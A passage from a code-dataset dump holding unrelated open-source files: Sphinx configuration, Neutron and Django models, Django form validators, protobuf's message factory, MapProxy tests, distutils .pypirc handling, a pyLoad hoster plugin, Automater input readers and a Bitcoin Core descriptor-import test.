#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Output file base name for HTML help builder.
htmlhelp_basename = 'ReadtheDocsTemplatedoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
('index', 'ReadtheDocsTemplate.tex', u'Read the Docs Template Documentation',
u'Read the Docs', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'readthedocstemplate', u'Read the Docs Template Documentation',
[u'Read the Docs'], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
('index', 'ReadtheDocsTemplate', u'Read the Docs Template Documentation',
u'Read the Docs', 'ReadtheDocsTemplate', 'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False
| agpl-3.0 |
vbannai/neutron | neutron/plugins/cisco/db/network_models_v2.py | 20 | 1922 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012, Cisco Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
# @author: Rohit Agarwalla, Cisco Systems, Inc.
import sqlalchemy as sa
from neutron.db import model_base
class QoS(model_base.BASEV2):
"""Represents QoS policies for a tenant."""
__tablename__ = 'cisco_qos_policies'
qos_id = sa.Column(sa.String(255))
tenant_id = sa.Column(sa.String(255), primary_key=True)
qos_name = sa.Column(sa.String(255), primary_key=True)
qos_desc = sa.Column(sa.String(255))
class Credential(model_base.BASEV2):
"""Represents credentials for a tenant to control Cisco switches."""
__tablename__ = 'cisco_credentials'
credential_id = sa.Column(sa.String(255))
credential_name = sa.Column(sa.String(255), primary_key=True)
user_name = sa.Column(sa.String(255))
password = sa.Column(sa.String(255))
type = sa.Column(sa.String(255))
class ProviderNetwork(model_base.BASEV2):
"""Represents networks that were created as provider networks."""
__tablename__ = 'cisco_provider_networks'
network_id = sa.Column(sa.String(36),
sa.ForeignKey('networks.id', ondelete="CASCADE"),
primary_key=True)
network_type = sa.Column(sa.String(255), nullable=False)
segmentation_id = sa.Column(sa.Integer, nullable=False)
| apache-2.0 |
FlaPer87/django-nonrel | django/contrib/localflavor/fi/forms.py | 309 | 1803 | """
FI-specific Form helpers
"""
import re
from django.core.validators import EMPTY_VALUES
from django.forms import ValidationError
from django.forms.fields import Field, RegexField, Select
from django.utils.translation import ugettext_lazy as _
class FIZipCodeField(RegexField):
default_error_messages = {
'invalid': _('Enter a zip code in the format XXXXX.'),
}
def __init__(self, *args, **kwargs):
super(FIZipCodeField, self).__init__(r'^\d{5}$',
max_length=None, min_length=None, *args, **kwargs)
class FIMunicipalitySelect(Select):
"""
A Select widget that uses a list of Finnish municipalities as its choices.
"""
def __init__(self, attrs=None):
from fi_municipalities import MUNICIPALITY_CHOICES
super(FIMunicipalitySelect, self).__init__(attrs, choices=MUNICIPALITY_CHOICES)
class FISocialSecurityNumber(Field):
default_error_messages = {
'invalid': _('Enter a valid Finnish social security number.'),
}
def clean(self, value):
super(FISocialSecurityNumber, self).clean(value)
if value in EMPTY_VALUES:
return u''
checkmarks = "0123456789ABCDEFHJKLMNPRSTUVWXY"
result = re.match(r"""^
(?P<date>([0-2]\d|3[01])
(0\d|1[012])
(\d{2}))
[A+-]
(?P<serial>(\d{3}))
(?P<checksum>[%s])$""" % checkmarks, value, re.VERBOSE | re.IGNORECASE)
if not result:
raise ValidationError(self.error_messages['invalid'])
gd = result.groupdict()
checksum = int(gd['date'] + gd['serial'])
if checkmarks[checksum % len(checkmarks)] == gd['checksum'].upper():
return u'%s' % value.upper()
raise ValidationError(self.error_messages['invalid'])
| bsd-3-clause |
ezc/protobuf | python/google/protobuf/message_factory.py | 228 | 4178 | # Protocol Buffers - Google's data interchange format
# Copyright 2008 Google Inc. All rights reserved.
# http://code.google.com/p/protobuf/
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Provides a factory class for generating dynamic messages."""
__author__ = 'matthewtoia@google.com (Matt Toia)'
from google.protobuf import descriptor_database
from google.protobuf import descriptor_pool
from google.protobuf import message
from google.protobuf import reflection
class MessageFactory(object):
"""Factory for creating Proto2 messages from descriptors in a pool."""
def __init__(self):
"""Initializes a new factory."""
self._classes = {}
def GetPrototype(self, descriptor):
"""Builds a proto2 message class based on the passed in descriptor.
Passing a descriptor with a fully qualified name matching a previous
invocation will cause the same class to be returned.
Args:
descriptor: The descriptor to build from.
Returns:
A class describing the passed in descriptor.
"""
if descriptor.full_name not in self._classes:
result_class = reflection.GeneratedProtocolMessageType(
descriptor.name.encode('ascii', 'ignore'),
(message.Message,),
{'DESCRIPTOR': descriptor})
self._classes[descriptor.full_name] = result_class
for field in descriptor.fields:
if field.message_type:
self.GetPrototype(field.message_type)
return self._classes[descriptor.full_name]
_DB = descriptor_database.DescriptorDatabase()
_POOL = descriptor_pool.DescriptorPool(_DB)
_FACTORY = MessageFactory()
def GetMessages(file_protos):
"""Builds a dictionary of all the messages available in a set of files.
Args:
file_protos: A sequence of file protos to build messages out of.
Returns:
A dictionary containing all the message types in the files mapping the
fully qualified name to a Message subclass for the descriptor.
"""
result = {}
for file_proto in file_protos:
_DB.Add(file_proto)
for file_proto in file_protos:
for desc in _GetAllDescriptors(file_proto.message_type, file_proto.package):
result[desc.full_name] = _FACTORY.GetPrototype(desc)
return result
def _GetAllDescriptors(desc_protos, package):
"""Gets all levels of nested message types as a flattened list of descriptors.
Args:
desc_protos: The descriptor protos to process.
package: The package where the protos are defined.
Yields:
Each message descriptor for each nested type.
"""
for desc_proto in desc_protos:
name = '.'.join((package, desc_proto.name))
yield _POOL.FindMessageTypeByName(name)
for nested_desc in _GetAllDescriptors(desc_proto.nested_type, name):
yield nested_desc
| bsd-3-clause |
fafaman/django | tests/prefetch_related/models.py | 255 | 7972 | import uuid
from django.contrib.contenttypes.fields import (
GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
# Basic tests
@python_2_unicode_compatible
class Author(models.Model):
name = models.CharField(max_length=50, unique=True)
first_book = models.ForeignKey('Book', models.CASCADE, related_name='first_time_authors')
favorite_authors = models.ManyToManyField(
'self', through='FavoriteAuthors', symmetrical=False, related_name='favors_me')
def __str__(self):
return self.name
class Meta:
ordering = ['id']
class AuthorWithAge(Author):
author = models.OneToOneField(Author, models.CASCADE, parent_link=True)
age = models.IntegerField()
class FavoriteAuthors(models.Model):
author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='i_like')
likes_author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='likes_me')
class Meta:
ordering = ['id']
@python_2_unicode_compatible
class AuthorAddress(models.Model):
author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='addresses')
address = models.TextField()
class Meta:
ordering = ['id']
def __str__(self):
return self.address
@python_2_unicode_compatible
class Book(models.Model):
title = models.CharField(max_length=255)
authors = models.ManyToManyField(Author, related_name='books')
def __str__(self):
return self.title
class Meta:
ordering = ['id']
class BookWithYear(Book):
book = models.OneToOneField(Book, models.CASCADE, parent_link=True)
published_year = models.IntegerField()
aged_authors = models.ManyToManyField(
AuthorWithAge, related_name='books_with_year')
class Bio(models.Model):
author = models.OneToOneField(Author, models.CASCADE)
books = models.ManyToManyField(Book, blank=True)
@python_2_unicode_compatible
class Reader(models.Model):
name = models.CharField(max_length=50)
books_read = models.ManyToManyField(Book, related_name='read_by')
def __str__(self):
return self.name
class Meta:
ordering = ['id']
class BookReview(models.Model):
book = models.ForeignKey(BookWithYear, models.CASCADE)
notes = models.TextField(null=True, blank=True)
# Models for default manager tests
class Qualification(models.Model):
name = models.CharField(max_length=10)
class Meta:
ordering = ['id']
class TeacherManager(models.Manager):
def get_queryset(self):
return super(TeacherManager, self).get_queryset().prefetch_related('qualifications')
@python_2_unicode_compatible
class Teacher(models.Model):
name = models.CharField(max_length=50)
qualifications = models.ManyToManyField(Qualification)
objects = TeacherManager()
def __str__(self):
return "%s (%s)" % (self.name, ", ".join(q.name for q in self.qualifications.all()))
class Meta:
ordering = ['id']
class Department(models.Model):
name = models.CharField(max_length=50)
teachers = models.ManyToManyField(Teacher)
class Meta:
ordering = ['id']
# GenericRelation/GenericForeignKey tests
@python_2_unicode_compatible
class TaggedItem(models.Model):
tag = models.SlugField()
content_type = models.ForeignKey(
ContentType,
models.CASCADE,
related_name="taggeditem_set2",
)
object_id = models.PositiveIntegerField()
content_object = GenericForeignKey('content_type', 'object_id')
created_by_ct = models.ForeignKey(
ContentType,
models.SET_NULL,
null=True,
related_name='taggeditem_set3',
)
created_by_fkey = models.PositiveIntegerField(null=True)
created_by = GenericForeignKey('created_by_ct', 'created_by_fkey',)
favorite_ct = models.ForeignKey(
ContentType,
models.SET_NULL,
null=True,
related_name='taggeditem_set4',
)
favorite_fkey = models.CharField(max_length=64, null=True)
favorite = GenericForeignKey('favorite_ct', 'favorite_fkey')
def __str__(self):
return self.tag
class Meta:
ordering = ['id']
class Bookmark(models.Model):
url = models.URLField()
tags = GenericRelation(TaggedItem, related_query_name='bookmarks')
favorite_tags = GenericRelation(TaggedItem,
content_type_field='favorite_ct',
object_id_field='favorite_fkey',
related_query_name='favorite_bookmarks')
class Meta:
ordering = ['id']
class Comment(models.Model):
comment = models.TextField()
# Content-object field
content_type = models.ForeignKey(ContentType, models.CASCADE)
object_pk = models.TextField()
content_object = GenericForeignKey(ct_field="content_type", fk_field="object_pk")
class Meta:
ordering = ['id']
# Models for lookup ordering tests
class House(models.Model):
name = models.CharField(max_length=50)
address = models.CharField(max_length=255)
owner = models.ForeignKey('Person', models.SET_NULL, null=True)
main_room = models.OneToOneField('Room', models.SET_NULL, related_name='main_room_of', null=True)
class Meta:
ordering = ['id']
class Room(models.Model):
name = models.CharField(max_length=50)
house = models.ForeignKey(House, models.CASCADE, related_name='rooms')
class Meta:
ordering = ['id']
class Person(models.Model):
name = models.CharField(max_length=50)
houses = models.ManyToManyField(House, related_name='occupants')
@property
def primary_house(self):
# Assume business logic forces every person to have at least one house.
return sorted(self.houses.all(), key=lambda house: -house.rooms.count())[0]
@property
def all_houses(self):
return list(self.houses.all())
class Meta:
ordering = ['id']
# Models for nullable FK tests
@python_2_unicode_compatible
class Employee(models.Model):
name = models.CharField(max_length=50)
boss = models.ForeignKey('self', models.SET_NULL, null=True, related_name='serfs')
def __str__(self):
return self.name
class Meta:
ordering = ['id']
# Ticket #19607
@python_2_unicode_compatible
class LessonEntry(models.Model):
name1 = models.CharField(max_length=200)
name2 = models.CharField(max_length=200)
def __str__(self):
return "%s %s" % (self.name1, self.name2)
@python_2_unicode_compatible
class WordEntry(models.Model):
lesson_entry = models.ForeignKey(LessonEntry, models.CASCADE)
name = models.CharField(max_length=200)
def __str__(self):
return "%s (%s)" % (self.name, self.id)
# Ticket #21410: Regression when related_name="+"
@python_2_unicode_compatible
class Author2(models.Model):
name = models.CharField(max_length=50, unique=True)
first_book = models.ForeignKey('Book', models.CASCADE, related_name='first_time_authors+')
favorite_books = models.ManyToManyField('Book', related_name='+')
def __str__(self):
return self.name
class Meta:
ordering = ['id']
# Models for many-to-many with UUID pk test:
class Pet(models.Model):
id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
name = models.CharField(max_length=20)
people = models.ManyToManyField(Person, related_name='pets')
class Flea(models.Model):
id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
current_room = models.ForeignKey(Room, models.SET_NULL, related_name='fleas', null=True)
pets_visited = models.ManyToManyField(Pet, related_name='fleas_hosted')
people_visited = models.ManyToManyField(Person, related_name='fleas_hosted')
| bsd-3-clause |
faegi/mapproxy | mapproxy/test/system/test_wmts_restful.py | 5 | 4430 | # This file is part of the MapProxy project.
# Copyright (C) 2011 Omniscale <http://omniscale.de>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import with_statement, division
import functools
from io import BytesIO
from mapproxy.test.image import is_jpeg, create_tmp_image
from mapproxy.test.http import MockServ
from mapproxy.test.helper import validate_with_xsd
from mapproxy.test.system import module_setup, module_teardown, SystemTest, make_base_config
from nose.tools import eq_
test_config = {}
base_config = make_base_config(test_config)
def setup_module():
module_setup(test_config, 'wmts.yaml', with_cache_data=True)
def teardown_module():
module_teardown(test_config)
ns_wmts = {
'wmts': 'http://www.opengis.net/wmts/1.0',
'ows': 'http://www.opengis.net/ows/1.1',
'xlink': 'http://www.w3.org/1999/xlink'
}
def eq_xpath(xml, xpath, expected, namespaces=None):
eq_(xml.xpath(xpath, namespaces=namespaces)[0], expected)
eq_xpath_wmts = functools.partial(eq_xpath, namespaces=ns_wmts)
class TestWMTS(SystemTest):
config = test_config
def setup(self):
SystemTest.setup(self)
def test_capabilities(self):
resp = self.app.get('/wmts/myrest/1.0.0/WMTSCapabilities.xml')
xml = resp.lxml
assert validate_with_xsd(xml, xsd_name='wmts/1.0/wmtsGetCapabilities_response.xsd')
eq_(len(xml.xpath('//wmts:Layer', namespaces=ns_wmts)), 5)
eq_(len(xml.xpath('//wmts:Contents/wmts:TileMatrixSet', namespaces=ns_wmts)), 5)
def test_get_tile(self):
resp = self.app.get('/wmts/myrest/wms_cache/GLOBAL_MERCATOR/01/0/0.jpeg')
eq_(resp.content_type, 'image/jpeg')
data = BytesIO(resp.body)
assert is_jpeg(data)
# test without leading 0 in level
resp = self.app.get('/wmts/myrest/wms_cache/GLOBAL_MERCATOR/1/0/0.jpeg')
eq_(resp.content_type, 'image/jpeg')
data = BytesIO(resp.body)
assert is_jpeg(data)
def test_get_tile_flipped_axis(self):
serv = MockServ(port=42423)
# source is ll, cache/service ul
serv.expects('/tiles/01/000/000/000/000/000/001.png')
serv.returns(create_tmp_image((256, 256)))
with serv:
resp = self.app.get('/wmts/myrest/tms_cache_ul/ulgrid/01/0/0.png', status=200)
eq_(resp.content_type, 'image/png')
def test_get_tile_source_error(self):
resp = self.app.get('/wmts/myrest/tms_cache/GLOBAL_MERCATOR/01/0/0.png', status=500)
xml = resp.lxml
assert validate_with_xsd(xml, xsd_name='ows/1.1.0/owsExceptionReport.xsd')
eq_xpath_wmts(xml, '/ows:ExceptionReport/ows:Exception/@exceptionCode',
'NoApplicableCode')
def test_get_tile_out_of_range(self):
resp = self.app.get('/wmts/myrest/wms_cache/GLOBAL_MERCATOR/01/-1/0.jpeg', status=400)
xml = resp.lxml
eq_(resp.content_type, 'text/xml')
assert validate_with_xsd(xml, xsd_name='ows/1.1.0/owsExceptionReport.xsd')
eq_xpath_wmts(xml, '/ows:ExceptionReport/ows:Exception/@exceptionCode',
'TileOutOfRange')
def test_get_tile_invalid_format(self):
url = '/wmts/myrest/wms_cache/GLOBAL_MERCATOR/01/0/0.png'
self.check_invalid_parameter(url)
def test_get_tile_invalid_layer(self):
url = '/wmts/myrest/unknown/GLOBAL_MERCATOR/01/0/0.jpeg'
self.check_invalid_parameter(url)
def test_get_tile_invalid_matrixset(self):
url = '/wmts/myrest/wms_cache/unknown/01/0/0.jpeg'
self.check_invalid_parameter(url)
def check_invalid_parameter(self, url):
resp = self.app.get(url, status=400)
xml = resp.lxml
eq_(resp.content_type, 'text/xml')
assert validate_with_xsd(xml, xsd_name='ows/1.1.0/owsExceptionReport.xsd')
eq_xpath_wmts(xml, '/ows:ExceptionReport/ows:Exception/@exceptionCode',
'InvalidParameterValue')
| apache-2.0 |
javilonas/NCam | cross/android-toolchain/lib/python2.7/distutils/config.py | 69 | 4130 | """distutils.pypirc
Provides the PyPIRCCommand class, the base class for the command classes
that uses .pypirc in the distutils.command package.
"""
import os
from ConfigParser import ConfigParser
from distutils.cmd import Command
DEFAULT_PYPIRC = """\
[distutils]
index-servers =
pypi
[pypi]
username:%s
password:%s
"""
class PyPIRCCommand(Command):
"""Base command that knows how to handle the .pypirc file
"""
DEFAULT_REPOSITORY = 'http://pypi.python.org/pypi'
DEFAULT_REALM = 'pypi'
repository = None
realm = None
user_options = [
('repository=', 'r',
"url of repository [default: %s]" % \
DEFAULT_REPOSITORY),
('show-response', None,
'display full response text from server')]
boolean_options = ['show-response']
def _get_rc_file(self):
"""Returns rc file path."""
return os.path.join(os.path.expanduser('~'), '.pypirc')
def _store_pypirc(self, username, password):
"""Creates a default .pypirc file."""
rc = self._get_rc_file()
f = os.fdopen(os.open(rc, os.O_CREAT | os.O_WRONLY, 0600), 'w')
try:
f.write(DEFAULT_PYPIRC % (username, password))
finally:
f.close()
def _read_pypirc(self):
"""Reads the .pypirc file."""
rc = self._get_rc_file()
if os.path.exists(rc):
self.announce('Using PyPI login from %s' % rc)
repository = self.repository or self.DEFAULT_REPOSITORY
config = ConfigParser()
config.read(rc)
sections = config.sections()
if 'distutils' in sections:
# let's get the list of servers
index_servers = config.get('distutils', 'index-servers')
_servers = [server.strip() for server in
index_servers.split('\n')
if server.strip() != '']
if _servers == []:
# nothing set, let's try to get the default pypi
if 'pypi' in sections:
_servers = ['pypi']
else:
# the file is not properly defined, returning
# an empty dict
return {}
for server in _servers:
current = {'server': server}
current['username'] = config.get(server, 'username')
# optional params
for key, default in (('repository',
self.DEFAULT_REPOSITORY),
('realm', self.DEFAULT_REALM),
('password', None)):
if config.has_option(server, key):
current[key] = config.get(server, key)
else:
current[key] = default
if (current['server'] == repository or
current['repository'] == repository):
return current
elif 'server-login' in sections:
# old format
server = 'server-login'
if config.has_option(server, 'repository'):
repository = config.get(server, 'repository')
else:
repository = self.DEFAULT_REPOSITORY
return {'username': config.get(server, 'username'),
'password': config.get(server, 'password'),
'repository': repository,
'server': server,
'realm': self.DEFAULT_REALM}
return {}
def initialize_options(self):
"""Initialize options."""
self.repository = None
self.realm = None
self.show_response = 0
def finalize_options(self):
"""Finalizes options."""
if self.repository is None:
self.repository = self.DEFAULT_REPOSITORY
if self.realm is None:
self.realm = self.DEFAULT_REALM
| gpl-3.0 |
TheBraveWarrior/pyload | module/plugins/hoster/BigfileTo.py | 8 | 3306 | # -*- coding: utf-8 -*-
import re
from ..captcha.ReCaptcha import ReCaptcha
from ..internal.misc import json
from ..internal.SimpleHoster import SimpleHoster
class BigfileTo(SimpleHoster):
__name__ = "BigfileTo"
__type__ = "hoster"
__version__ = "0.19"
__status__ = "testing"
__pattern__ = r'https?://(?:www\.)?(?:uploadable\.ch|bigfile.to)/file/(?P<ID>\w+)'
__config__ = [("activated", "bool", "Activated", True),
("use_premium", "bool", "Use premium account if available", True),
("fallback", "bool",
"Fallback to free download if premium fails", True),
("chk_filesize", "bool", "Check file size", True),
("max_wait", "int", "Reconnect if waiting time is greater than minutes", 10)]
__description__ = """bigfile.to hoster plugin"""
__license__ = "GPLv3"
__authors__ = [("zapp-brannigan", "fuerst.reinje@web.de"),
("Walter Purcaro", "vuolter@gmail.com"),
("GammaC0de", "nitzo2001[AT]yahoo[DOT]com")]
URL_REPLACEMENTS = [
(__pattern__ + ".*",
r'https://www.bigfile.to/file/\g<ID>')]
INFO_PATTERN = r'div id=\"file_name\" title=.*>(?P<N>.+)<span class=\"filename_normal\">\((?P<S>[\d.]+) (?P<U>\w+)\)</span><'
OFFLINE_PATTERN = r'>(File not available|This file is no longer available)'
TEMP_OFFLINE_PATTERN = r'<div class="icon_err">'
WAIT_PATTERN = r'>Please wait[^<]+'
RECAPTCHA_KEY = "6LfZ0RETAAAAAOjhYT7V9ukeCT3wWccw98uc50vu"
def handle_free(self, pyfile):
#: Click the "free user" button and wait
json_data = json.loads(
self.load(
pyfile.url, post={
'downloadLink': "wait"}))
self.wait(json_data['waitTime'])
#: Make the ReCaptcha appear and show it the pyload interface
json_data = json.loads(
self.load(
pyfile.url, post={
'checkDownload': "check"}))
if json_data['success'] == "showCaptcha":
self.captcha = ReCaptcha(pyfile)
response, challenge = self.captcha.challenge(self.RECAPTCHA_KEY)
#: Submit the captcha solution
json_data = json.loads(self.load("https://www.bigfile.to/checkReCaptcha.php",
post={'recaptcha_challenge_field': challenge,
'recaptcha_response_field': response,
'recaptcha_shortencode_field': self.info['pattern']['ID']}))
self.log_debug("json_data", json_data)
if json_data['success'] != 1:
self.retry_captcha()
#: Get ready for downloading
self.load(pyfile.url, post={'downloadLink': "show"})
#: Download the file
self.download(
pyfile.url,
post={
'download': "normal"},
disposition=True)
def check_download(self):
if self.scan_download({'wait': re.compile("Please wait for")}):
self.log_info(_("Downloadlimit reached, please wait or reconnect"))
self.wait(60 * 60, True)
self.retry()
return SimpleHoster.check_download(self)
| gpl-3.0 |
nimrodyo/TekDefense-Automater | inputs.py | 23 | 3355 | """
The inputs.py module represents some form of all inputs
to the Automater program to include target files, and
the standard config file - sites.xml. Any addition to
Automater that brings any other input requirement should
be programmed in this module.
Class(es):
TargetFile -- Provides a representation of a file containing target
strings for Automater to utilize.
SitesFile -- Provides a representation of the sites.xml
configuration file.
Function(s):
No global exportable functions are defined.
Exception(s):
No exceptions exported.
"""
from xml.etree.ElementTree import ElementTree
import os
class TargetFile(object):
"""
TargetFile provides a Class Method to retrieve information from a file-
based target when one is entered as the first parameter to the program.
Public Method(s):
(Class Method) TargetList
Instance variable(s):
No instance variables.
"""
@classmethod
def TargetList(self, filename):
"""
Opens a file for reading.
Returns each string from each line of a single or multi-line file.
Argument(s):
filename -- string based name of the file that will be retrieved and parsed.
Return value(s):
Iterator of string(s) found in a single or multi-line file.
Restriction(s):
This Method is tagged as a Class Method
"""
try:
target = ""
with open(filename) as f:
li = f.readlines()
for i in li:
target = str(i).strip()
yield target
except IOError:
print "There was an error reading from the target input file."
class SitesFile(object):
"""
SitesFile represents an XML Elementree object representing the
program's configuration file. Returns XML Elementree object.
Method(s):
(Class Method) getXMLTree
(Class Method) fileExists
Instance variable(s):
No instance variables.
"""
@classmethod
def getXMLTree(self):
"""
Opens a config file for reading.
Returns XML Elementree object representing XML Config file.
Argument(s):
No arguments are required.
Return value(s):
ElementTree
Restrictions:
File must be named sites.xml and must be in same directory as caller.
This Method is tagged as a Class Method
"""
try:
with open("sites.xml") as f:
sitetree = ElementTree()
sitetree.parse(f)
return sitetree
except:
print "There was an error reading from the sites input file.",
print "Please check that the XML file is present and correctly formatted."
@classmethod
def fileExists(self):
"""
Checks if a file exists. Returns boolean representing if file exists.
Argument(s):
No arguments are required.
Return value(s):
Boolean
Restrictions:
File must be named sites.xml and must be in same directory as caller.
This Method is tagged as a Class Method
"""
return os.path.exists("sites.xml") and os.path.isfile("sites.xml")
| mit |
practicalswift/bitcoin | test/functional/wallet_importdescriptors.py | 14 | 27547 | #!/usr/bin/env python3
# Copyright (c) 2019-2020 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the importdescriptors RPC.
Test importdescriptors by generating keys on node0, importing the corresponding
descriptors on node1 and then testing the address info for the different address
variants.
- `get_generate_key()` is called to generate keys and return the privkeys,
pubkeys and all variants of scriptPubKey and address.
- `test_importdesc()` is called to send an importdescriptors call to node1, test
success, and (if unsuccessful) test the error code and error message returned.
- `test_address()` is called to call getaddressinfo for an address on node1
and test the values returned."""
from test_framework.address import key_to_p2pkh
from test_framework.test_framework import BitcoinTestFramework
from test_framework.descriptors import descsum_create
from test_framework.util import (
assert_equal,
assert_raises_rpc_error,
find_vout_for_address,
)
from test_framework.wallet_util import (
get_generate_key,
test_address,
)
class ImportDescriptorsTest(BitcoinTestFramework):
def set_test_params(self):
self.num_nodes = 2
self.extra_args = [["-addresstype=legacy"],
["-addresstype=bech32", "-keypool=5"]
]
self.setup_clean_chain = True
self.wallet_names = []
def skip_test_if_missing_module(self):
self.skip_if_no_wallet()
self.skip_if_no_sqlite()
def test_importdesc(self, req, success, error_code=None, error_message=None, warnings=None, wallet=None):
"""Run importdescriptors and assert success"""
if warnings is None:
warnings = []
wrpc = self.nodes[1].get_wallet_rpc('w1')
if wallet is not None:
wrpc = wallet
result = wrpc.importdescriptors([req])
observed_warnings = []
if 'warnings' in result[0]:
observed_warnings = result[0]['warnings']
assert_equal("\n".join(sorted(warnings)), "\n".join(sorted(observed_warnings)))
assert_equal(result[0]['success'], success)
if error_code is not None:
assert_equal(result[0]['error']['code'], error_code)
assert_equal(result[0]['error']['message'], error_message)
def run_test(self):
self.log.info('Setting up wallets')
self.nodes[0].createwallet(wallet_name='w0', disable_private_keys=False, descriptors=True)
w0 = self.nodes[0].get_wallet_rpc('w0')
self.nodes[1].createwallet(wallet_name='w1', disable_private_keys=True, blank=True, descriptors=True)
w1 = self.nodes[1].get_wallet_rpc('w1')
assert_equal(w1.getwalletinfo()['keypoolsize'], 0)
self.nodes[1].createwallet(wallet_name="wpriv", disable_private_keys=False, blank=True, descriptors=True)
wpriv = self.nodes[1].get_wallet_rpc("wpriv")
assert_equal(wpriv.getwalletinfo()['keypoolsize'], 0)
self.log.info('Mining coins')
w0.generatetoaddress(101, w0.getnewaddress())
# RPC importdescriptors -----------------------------------------------
# # Test import fails if no descriptor present
key = get_generate_key()
self.log.info("Import should fail if a descriptor is not provided")
self.test_importdesc({"timestamp": "now"},
success=False,
error_code=-8,
error_message='Descriptor not found.')
# # Test importing of a P2PKH descriptor
key = get_generate_key()
self.log.info("Should import a p2pkh descriptor")
self.test_importdesc({"desc": descsum_create("pkh(" + key.pubkey + ")"),
"timestamp": "now",
"label": "Descriptor import test"},
success=True)
test_address(w1,
key.p2pkh_addr,
solvable=True,
ismine=True,
labels=["Descriptor import test"])
assert_equal(w1.getwalletinfo()['keypoolsize'], 0)
self.log.info("Internal addresses cannot have labels")
self.test_importdesc({"desc": descsum_create("pkh(" + key.pubkey + ")"),
"timestamp": "now",
"internal": True,
"label": "Descriptor import test"},
success=False,
error_code=-8,
error_message="Internal addresses should not have a label")
self.log.info("Internal addresses should be detected as such")
key = get_generate_key()
addr = key_to_p2pkh(key.pubkey)
self.test_importdesc({"desc": descsum_create("pkh(" + key.pubkey + ")"),
"timestamp": "now",
"internal": True},
success=True)
info = w1.getaddressinfo(addr)
assert_equal(info["ismine"], True)
assert_equal(info["ischange"], True)
# # Test importing of a P2SH-P2WPKH descriptor
key = get_generate_key()
